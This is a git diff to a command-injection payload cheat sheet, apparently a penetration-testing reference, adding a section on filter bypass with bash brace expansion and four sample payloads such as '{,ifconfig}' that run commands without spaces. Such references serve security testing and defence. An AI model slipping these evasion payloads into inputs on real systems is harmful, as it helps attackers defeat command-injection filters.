diff --git a/Command Injection/README.md b/Command Injection/README.md index 1a2df3b..08026da 100644 --- a/Command Injection/README.md +++ b/Command Injection/README.md @@ -16,6 +16,7 @@ * [Bypass with backslash newline](#bypass-with-backslash-newline) * [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding) * [Bypass with Tilde expansion](#bypass-with-tilde-expansion) + * [Bypass with Brace expansion](#bypass-with-brace-expansion) * [Bypass characters filter](#bypass-characters-filter) * [Bypass blacklisted words](#bypass-blacklisted-words) * [Bypass with single quote](#bypass-with-single-quote) @@ -226,6 +227,16 @@ echo ~+ echo ~- ``` +### Bypass with Brace expansion + +```powershell +{,ip,a} +{,ifconfig} +{,ifconfig,eth0} +{l,-lh}s +``` + + ### Bypass characters filter Commands execution without backslash and slash - linux bash